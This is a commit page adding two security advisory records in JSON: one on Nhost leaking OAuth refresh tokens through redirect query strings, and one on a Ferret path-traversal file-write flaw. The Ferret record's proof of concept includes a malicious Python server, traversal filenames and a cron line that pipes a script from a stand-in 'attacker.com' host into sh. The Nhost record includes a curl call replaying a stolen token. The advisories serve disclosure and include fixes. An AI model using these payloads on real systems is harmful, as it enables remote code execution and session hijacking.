Skip to content

Commit 7139372

Browse files
1 parent ec35d19 commit 7139372

File tree

2 files changed

+143
-0
lines changed

2 files changed

+143
-0
lines changed
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-g2qj-prgh-4g9r",
4+
"modified": "2026-04-01T23:36:10Z",
5+
"published": "2026-04-01T23:36:10Z",
6+
"aliases": [
7+
"CVE-2026-34969"
8+
],
9+
"summary": "Nhost Leaks Refresh Tokens via URL Query Parameter in OAuth Provider Callback",
10+
"details": "# Refresh Token Leaked via URL Query Parameter in OAuth Provider Callback\n\n## Summary\n\nThe auth service's OAuth provider callback flow places the refresh token directly into the redirect URL as a query parameter. Refresh tokens in URLs are logged in browser history, server access logs, HTTP Referer headers, and proxy/CDN logs.\n\nNote that the refresh token is one-time use and all of these leak vectors are on owned infrastructure or services integrated by the application developer.\n\n## Affected Component\n\n- **Repository**: `github.com/nhost/nhost`\n- **Service**: `services/auth`\n- **File**: `services/auth/go/controller/sign_in_provider_callback_get.go`\n- **Function**: `signinProviderProviderCallback` (lines 257-261)\n\n## Root Cause\n\nIn `sign_in_provider_callback_get.go:257-261`, after successful OAuth sign-in, the refresh token is appended as a URL query parameter:\n\n```go\nif session != nil {\n values := redirectTo.Query()\n values.Add(\"refreshToken\", session.RefreshToken)\n redirectTo.RawQuery = values.Encode()\n}\n```\n\nThis results in a redirect like:\n```\nHTTP/1.1 302 Found\nLocation: https://myapp.com/callback?refreshToken=a1b2c3d4-e5f6-7890-abcd-ef1234567890\n```\n\n## Proof of Concept\n\n### Step 1: Initiate OAuth login\n```\nGET /signin/provider/github?redirectTo=https://myapp.com/callback\n```\n\n### Step 2: Complete OAuth flow with provider\n\n### Step 3: Auth service redirects with token in URL\n```\nHTTP/1.1 302 Found\nLocation: https://myapp.com/callback?refreshToken=a1b2c3d4-e5f6-7890-abcd-ef1234567890\n```\n\n### Step 4: Token is now visible in owned infrastructure and services:\n\n**Browser History:**\n```\n# User's browser history now contains the refresh token\n```\n\n**HTTP Referer Header:**\n```\n# If the callback page loads ANY external resource (image, script, etc.):\nGET /resource.js HTTP/1.1\nHost: cdn.example.com\nReferer: https://myapp.com/callback?refreshToken=a1b2c3d4-e5f6-...\n# Note: modern browsers default to strict-origin-when-cross-origin policy,\n# which strips query parameters from cross-origin Referer headers.\n# Additionally, the Referer is only sent to services integrated by the\n# application developer (analytics, CDNs, etc.), not arbitrary third parties.\n```\n\n**Server Access Logs:**\n```\n# Reverse proxy, CDN, or load balancer logs on owned infrastructure:\n2026-03-08 12:00:00 GET /callback?refreshToken=a1b2c3d4-e5f6-... 200\n```\n\n### Step 5: Attacker uses stolen refresh token\n```bash\n# Exchange stolen refresh token for new access token\ncurl -X POST https://auth.nhost.run/v1/token \\\n -H 'Content-Type: application/json' \\\n -d '{\"refreshToken\": \"a1b2c3d4-e5f6-7890-abcd-ef1234567890\"}'\n\n# Note: refresh tokens are one-time use, so this only works if the\n# legitimate client has not already consumed the token and if the attacker has\n# compromised your infrastructure to get access to this information\n```\n\n## Impact\n\n1. **Session Hijacking**: Anyone who obtains the token before it is consumed by the legitimate client can generate new access tokens, though the refresh token is one-time use and cannot be reused after consumption.\n\n2. **Leak Vectors**: URL query parameters are visible in owned infrastructure and integrated services:\n - Browser history (local access)\n - HTTP Referer headers (mitigated by modern browser default referrer policies; only sent to developer-integrated services)\n - Server access logs (owned infrastructure)\n - Proxy/CDN/WAF logs (owned infrastructure)\n\n3. **Affects All OAuth Providers**: Every OAuth provider flow (GitHub, Google, Apple, etc.) goes through the same callback handler.\n\n## Fix\n\nImplemented PKCE (Proof Key for Code Exchange) for the OAuth flow. With PKCE, the authorization code cannot be exchanged without the `code_verifier` that only the original client possesses, preventing token misuse even if the URL is logged.\n\nSee: https://docs.nhost.io/products/auth/pkce/\n\n## Resources\n\n- OWASP: Session Management - Token Transport: \"Session tokens should not be transported in the URL\"\n- RFC 6749 Section 10.3: \"Access tokens and refresh tokens MUST NOT be included in the redirect URI\"\n- CWE-598: Use of GET Request Method With Sensitive Query Strings\n- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/nhost/nhost"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.0.0-20260330133707-294954e0fc3a"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nhost/nhost/security/advisories/GHSA-g2qj-prgh-4g9r"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://docs.nhost.io/products/auth/pkce"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/nhost/nhost"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-200",
55+
"CWE-598"
56+
],
57+
"severity": "LOW",
58+
"github_reviewed": true,
59+
"github_reviewed_at": "2026-04-01T23:36:10Z",
60+
"nvd_published_at": null
61+
}
62+
}
Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-j6v5-g24h-vg4j",
4+
"modified": "2026-04-01T23:37:29Z",
5+
"published": "2026-04-01T23:37:29Z",
6+
"aliases": [
7+
"CVE-2026-34783"
8+
],
9+
"summary": "Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites",
10+
"details": "## Summary\n\nA path traversal vulnerability in Ferret's `IO::FS::WRITE` standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing `../` sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.\n\n## Exploitation\n\nThe attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.\n\n### Attack Flow\n\n1. The attacker serves a JSON API with crafted filenames containing `../` traversal:\n\n```json\n[\n {\"name\": \"legit-article\", \"content\": \"Normal content.\"},\n {\"name\": \"../../etc/cron.d/evil\", \"content\": \"* * * * * root curl http://attacker.com/shell.sh | sh\\n\"}\n]\n```\n\n2. The victim runs a standard scraping script:\n\n```fql\nLET response = IO::NET::HTTP::GET({url: \"http://evil.com/api/articles\"})\nLET articles = JSON_PARSE(TO_STRING(response))\n\nFOR article IN articles\n LET path = \"/tmp/ferret_output/\" + article.name + \".txt\"\n IO::FS::WRITE(path, TO_BINARY(article.content))\n RETURN { written: path, name: article.name }\n```\n\n3. FQL string concatenation produces: `/tmp/ferret_output/../../etc/cron.d/evil.txt`\n\n4. `os.OpenFile` resolves `../..` and writes to `/etc/cron.d/evil.txt` -- outside the intended output directory\n\n5. The attacker achieves arbitrary file write with controlled content, leading to code execution.\n\n### Realistic Targets\n\n| Target Path | Impact |\n|-------------|--------|\n| `/etc/cron.d/<name>` | Command execution via cron |\n| `~/.ssh/authorized_keys` | SSH access to the machine |\n| `~/.bashrc` or `~/.profile` | Command execution on next login |\n| `/var/www/html/<name>.php` | Web shell |\n| Application config files | Credential theft, privilege escalation |\n\n## Proof of Concept\n\n### Files\n\nThree files are provided in the `poc/` directory:\n\n**`evil_server.py`** -- Malicious web server returning traversal payloads:\n\n```python\n\"\"\"Malicious server that returns filenames with path traversal.\"\"\"\nimport json\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass EvilHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n if self.path == \"/api/articles\":\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n payload = [\n {\"name\": \"legit-article\",\n \"content\": \"This is a normal article.\"},\n {\"name\": \"../../tmp/pwned\",\n \"content\": \"ATTACKER_CONTROLLED_CONTENT\\n\"\n \"# * * * * * root curl http://attacker.com/shell.sh | sh\\n\"},\n ]\n self.wfile.write(json.dumps(payload).encode())\n else:\n self.send_response(404)\n self.end_headers()\n\nif __name__ == \"__main__\":\n server = HTTPServer((\"0.0.0.0\", 9444), EvilHandler)\n print(\"Listening on :9444\")\n server.serve_forever()\n```\n\n**`scrape.fql`** -- Innocent-looking Ferret scraping script:\n\n```fql\nLET response = IO::NET::HTTP::GET({url: \"http://127.0.0.1:9444/api/articles\"})\nLET articles = JSON_PARSE(TO_STRING(response))\n\nFOR article IN articles\n LET path = \"/tmp/ferret_output/\" + article.name + \".txt\"\n LET data = TO_BINARY(article.content)\n IO::FS::WRITE(path, data)\n RETURN { written: path, name: article.name }\n```\n\n**`run_poc.sh`** -- Orchestration script (expects the server to be running separately):\n\n```bash\n#!/bin/bash\nset -e\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nREPO_ROOT=\"$(cd \"$SCRIPT_DIR/..\" && pwd)\"\nFERRET=\"$REPO_ROOT/bin/ferret\"\n\necho \"=== Ferret Path Traversal PoC ===\"\n[ ! -f \"$FERRET\" ] && (cd \"$REPO_ROOT\" && go build -o ./bin/ferret ./test/e2e/cli.go)\n\nrm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output\n\necho \"[*] Running scrape script...\"\n\"$FERRET\" \"$SCRIPT_DIR/scrape.fql\" 2>/dev/null || true\n\nif [ -f \"/tmp/pwned.txt\" ]; then\n echo \"[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory\"\n cat /tmp/pwned.txt\nfi\n```\n\n### Reproduction Steps\n\n```bash\n# Terminal 1: start malicious server\npython3 poc/evil_server.py\n\n# Terminal 2: build and run\ngo build -o ./bin/ferret ./test/e2e/cli.go\nbash poc/run_poc.sh\n\n# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/\ncat /tmp/pwned.txt\n```\n\n### Observed Output\n\n```\n=== Ferret Path Traversal PoC ===\n\n[*] Running innocent-looking scrape script...\n\n[{\"written\":\"/tmp/ferret_output/legit-article.txt\",\"name\":\"legit-article\"},\n {\"written\":\"/tmp/ferret_output/../../tmp/pwned.txt\",\"name\":\"../../tmp/pwned\"}]\n\n=== Results ===\n\n[*] Files in intended output directory (/tmp/ferret_output/):\n-rw-r--r-- 1 user user 46 Mar 27 18:23 legit-article.txt\n\n[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!\n\n Contents:\n ATTACKER_CONTROLLED_CONTENT\n # * * * * * root curl http://attacker.com/shell.sh | sh\n```\n\n## Suggested Fix\n\n### Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`\n\nResolve the path and verify it doesn't contain `..` after cleaning:\n\n```go\nfunc safePath(userPath string) (string, error) {\n cleaned := filepath.Clean(userPath)\n if strings.Contains(cleaned, \"..\") {\n return \"\", fmt.Errorf(\"path traversal detected: %q\", userPath)\n }\n return cleaned, nil\n}\n```\n\n### Option 2: Base directory enforcement (stronger)\n\nAdd an optional base directory that FS operations are jailed to:\n\n```go\nfunc safePathWithBase(base, userPath string) (string, error) {\n absBase, _ := filepath.Abs(base)\n full := filepath.Join(absBase, filepath.Clean(userPath))\n resolved, err := filepath.EvalSymlinks(full)\n if err != nil {\n return \"\", err\n }\n if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {\n return \"\", fmt.Errorf(\"path %q escapes base directory %q\", userPath, base)\n }\n return resolved, nil\n}\n```\n## Root Cause\n\n`IO::FS::WRITE` in `pkg/stdlib/io/fs/write.go` passes user-supplied file paths directly to `os.OpenFile` with no sanitization:\n\n```go\nfile, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)\n```\n\nThere is no:\n- Path canonicalization (`filepath.Clean`, `filepath.Abs`, `filepath.EvalSymlinks`)\n- Base directory enforcement (checking the resolved path stays within an intended directory)\n- Traversal sequence rejection (blocking `..` components)\n- Symlink resolution\n\nThe same issue exists in `IO::FS::READ` (`pkg/stdlib/io/fs/read.go`):\n\n```go\ndata, err := os.ReadFile(path.String())\n```\n\nThe `PATH::CLEAN` and `PATH::JOIN` standard library functions do **not** mitigate this because they use Go's `path` package (URL-style paths), not `path/filepath`, and even `path.Join(\"/output\", \"../../etc/cron.d/evil\")` resolves to `/etc/cron.d/evil` -- it normalizes the traversal rather than blocking it.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/MontFerret/ferret/v2"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.0.0-alpha.4"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Go",
40+
"name": "github.com/MontFerret/ferret"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "0"
48+
},
49+
{
50+
"last_affected": "0.18.1"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
57+
"references": [
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/MontFerret/ferret/security/advisories/GHSA-j6v5-g24h-vg4j"
61+
},
62+
{
63+
"type": "WEB",
64+
"url": "https://github.com/MontFerret/ferret/commit/160ebad6bd50f153453e120f6d909f5b83322917"
65+
},
66+
{
67+
"type": "PACKAGE",
68+
"url": "https://github.com/MontFerret/ferret"
69+
}
70+
],
71+
"database_specific": {
72+
"cwe_ids": [
73+
"CWE-22",
74+
"CWE-73"
75+
],
76+
"severity": "HIGH",
77+
"github_reviewed": true,
78+
"github_reviewed_at": "2026-04-01T23:37:29Z",
79+
"nvd_published_at": null
80+
}
81+
}

0 commit comments

Comments
 (0)